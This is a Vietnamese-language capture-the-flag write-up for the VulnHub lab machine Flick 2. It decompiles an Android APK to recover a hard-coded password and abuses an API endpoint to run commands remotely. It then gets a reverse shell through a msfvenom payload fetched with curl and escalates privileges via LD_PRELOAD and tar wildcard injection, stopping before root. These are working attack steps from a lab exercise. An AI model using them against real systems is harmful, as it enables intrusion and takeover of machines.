[VulnHub] Flick 2
Overview
Link download: FLICK: 2
Difficulty: Intermediate (Depends on experience)
IP Victim: 192.168.56.104
IP Attacker: 192.167.56.102
Information Gathering
Trong thư mục đề bài có 3 file gồm:
- flick-check-dist.apk
- flickII-dist.ova
- README
Mục đích của bài là dịch ngược và phân tích mã nguồn của file APK, và dùng cách vi diệu nào đó để tấn công và chiếm quyền điều khiển của máy mục tiêu.
Kết quả scan nmap máy mục tiêu đéo đem lại gì khả quan vì nó mở đúng 1 port 443.
1 | $ nmap -p- -sC -sV 192.168.56.104 |
Dễ nhận thấy dịch vụ chạy trêng port 443 HTTPS, là một API service để từ ứng dụng cài đặt từ file APK kia kết nối tới.
Cài đặt ứng dụng xem nó làm cái vẹo gì đã.
Hmm…
Có vẻ như cái app này đang chạy lệnh trực tiếp lên máy mục tiêu, vậy nên nếu tôi biết được API endpoint, tôi cũng có thể thực thi lệnh trực tiếp trên máy mục tiêu, RCE ez!
Vấn đề là giờ phải tìm được API endpoint. Xời, đọc mã nguồn thôi!
Dùng JADX (https://github.com/skylot/jadx) để decompiler file APK này, tôi nhận được mã nguồn ở dạng code Java cực kỳ dễ đọc. (Repo hơn 26k star Github có khác, uy tín vl).
Source code analytics
Trong CommandActivity.java, dòng 147, class SSHCommand, có thể nhận thấy task đang thực hiện kết nối SSH để thực hiện lệnh, với user robin, mật khẩu được truyền vào từ hàm validate() dòng 138. Tại hàm validate() có tham số input, khi được gọi, biến được truyền vào là (dòng 33):
1 | String integrity_check = "YFhaRBMNFRQDFxJEFlFDExIDVUMGEhcLAUNFBVdWQGFeXBIVWEsZWQ=="; |
Có thể thấy ngay output của hàm validate() chính là mật khẩu của user robin, dễ vl, code lại một chút là lấy được mật khẩu, ez.
1 | import java.util.Base64; |
Lấy được tài khoản trên máy mục tiêu là robin:40373df4b7a1f413af61cf7fd06d03a565a51898
Ơ nhưng mà lịt pẹ, máy mục tiêu mở độc 1 port duy nhất là 443, có thông tin đăng nhập SSH cũng không đăng nhập được vì dịch vụ SSH không mở :/
Ngán ngẩm quay lại với đống mã nguồn…
Tại dòng 41, trong hàm onCreate() file DoRegisterActivity.java, có thể thấy một endpoint cho phép đăng ký thiết bị.
Kéo xuống một chút, sau khi đã biết được endpoint, giờ thì phải xem API endpoint này yêu cầu những param gì, method gì,… mất khoảng 30s ngắm nghía, tôi nhận ra endpoint này chỉ yêu cầu mỗi param uuid và dữ liệu gửi lên dạng JSON với phương thức POST.
He, mở Postman lên bắn request luôn.
Postman
Okay, reponse trả về cho thấy có vẻ tôi đã đăng ký thiết bị thành công vớiUUID = 1, token = FmOBOJSrsOw8aaCZtrT1Ro1DSPBRSE11
Giờ thì phải tìm hiểu xem cái token mà máy chủ dịch vụ cấp cho tôi được dùng để làm việc gì.
Ngồi ngâm code và uống C sủi, nhận thấy một endpoint cho phép thực thi lệnh trong CommandActivity.java, có thể đây chính là endpoint mà app đã dùng để thực thi lệnh, với các param header X-UUID và X-TOKEN, 2 param header này chính là UUID và token mà tôi đã có ở trên. Lệnh thực thi được mã hoá với base64 và nối vào cuối URI.
Bây giờ tôi sẽ thử thực thi lệnh id
có mã base64 là aWQ=
.
Ngon luôn!
Giờ thì xem xem trên máy mục tiêu có python không, để chạy lệnh và lấy reverse shell.which python
1 | { |
Ầu men, câu lệnh bị chặn cmnr. Có thể là chặn theo Black list, vì các lệnh như w, lscpu, id, free, ping, curl, cp
vẫn có thể thực hiện ngon lành. Kệ đi, tạo reverse shell ELF rồi tải vào máy mục tiêu cái đã. Với lệnh lscpu
, có thể nhận thấy máy chủ đang chạy là Linux x64.
Command Execution to nginx shell
Tạo một file thực thi để lấy reverse shell.
1 | $ msfvenom -p linux/x64/shell_reverse_tcp LPORT=443 LHOST=192.168.56.102 -f elf -o duma443.elf |
Chạy HTTP server trên máy của tôi và thực thi lệnh curl
trên máy mục tiêu để lấy file duma443.elf về máy mục tiêu.
Có request từ máy mục tiêu (IP 192.168.56.104)
Set quyền thực thi cho file /tmp/duma443.elf
, nhưng…
1 | { |
Mẹ nó, chmod
nằm trong Black list.
Vuốt râu một lúc, tôi nhận ra là tôi đang không biết máy mục tiêu đang chặn lệnh thực thi như thế nào? Có thật là Black list? Hay dùng regex để detect ra chuỗi có trong Black list? Có một cách để biết được điều này, là thử dùng đường dẫn tuyệt đối.
Bây giờ không dùng chmod
nữa, mà dùng /usr/bin/chmod
, nếu lệnh /usr/bin/chmod
vẫn bị ban, thì có nghĩa là API endpoint đang detect theo regex, nhưng nếu không bị ban, thì có lẽ API endpoint chỉ đang chặn theo word. Try it!/usr/bin/chmod +x /tmp/duma443.elf
Chặn gà vl!
Bậy lắng nghe trên port 443 và lấy reverse shell./tmp/duma443.elf
1 | $ nc -lnvp 443 |
Sử dụng thông tin đăng nhập vào user robin đã lấy được ở trên, login vào.
Privilege Escalation
nginx to robin
1 | bash-4.2$ su robin |
User robin có thể chạy /usr/local/bin/dice
với quyền của bryan, thêm nữa là cả env_keep+=LD_PRELOAD
, mèn ơi… leo lên quyền của bryan thôi.
robin to bryan
Leo thang đặc quyền với LD_PRELOAD
https://www.hackingarticles.in/linux-privilege-escalation-using-ld_preload/
1 | [robin@fII ~]$ sudo -u bryan LD_PRELOAD=/home/robin/s.so /usr/local/bin/dice |
Tải linpeas vào máy mục tiêu, kết quả cho ra có đoạn:
Với linpeas, để ý thấy /usr/local/bin/backup
được lập lịch chạy lúc 23h hàng ngày, kiểm tra thông tin về file này và chạy xem nó ra cái gì…
1 | [bryan@fII ~]$ file /usr/local/bin/backup |
Hmm… có vẻ như /usr/local/bin/backup
đang thực hiện nén hết cái list file và folder kia vào đâu đấy, nhưng đâu là đâu?
1 | [bryan@fII ~]$ strings /usr/local/bin/backup |
Èn, câu lệnh dưới cùng dễ thấy ngay /usr/local/bin/backup
nén toàn bộ thư mục /usr/share/nginx/serverchecker/storage
vào /home/sean/backup_$(/bin/date +"%Y%m%d").tar.gz
=)) nảy ngay đến một từ khoá trong đầu, Wildcard!
bryan to sean
https://www.hackingarticles.in/exploiting-wildcard-for-privilege-escalation/
Khi truy cập vào đường dẫn /usr/share/nginx/serverchecker/storage
, thư mục này là của user nginx, các user khác đéo có quyền ghi vào đây, ờ, thế à, thế giờ tôi sẽ set luôn permission 777 cho cái thư mục này với Postman, vì low-shell đầu tiên được chạy bởi user nginx.
Giờ thì các user khác thoải mái đọc ghi luôn :D exploit leo quyền!
1 | [bryan@fII storage]$ echo "" > "--checkpoint-action=exec=sh -p" |
Có shell của sean, tiếp tục để đạt cảnh giới cuối cùng của bài này là root.
sean to root
Trong thư mục /usr/local/bin/
có file restore
được set SUID root, và có group sean, như vậy user sean có thể chạy file restore
với quyền root. Nếu exploit được đoạn này, tôi có thể có quyền root.
1 | bash-4.2$ cd /usr/local/bin/ |
Nhưng tôi đéo :)) làm đến đây tạm tịt. Update sau…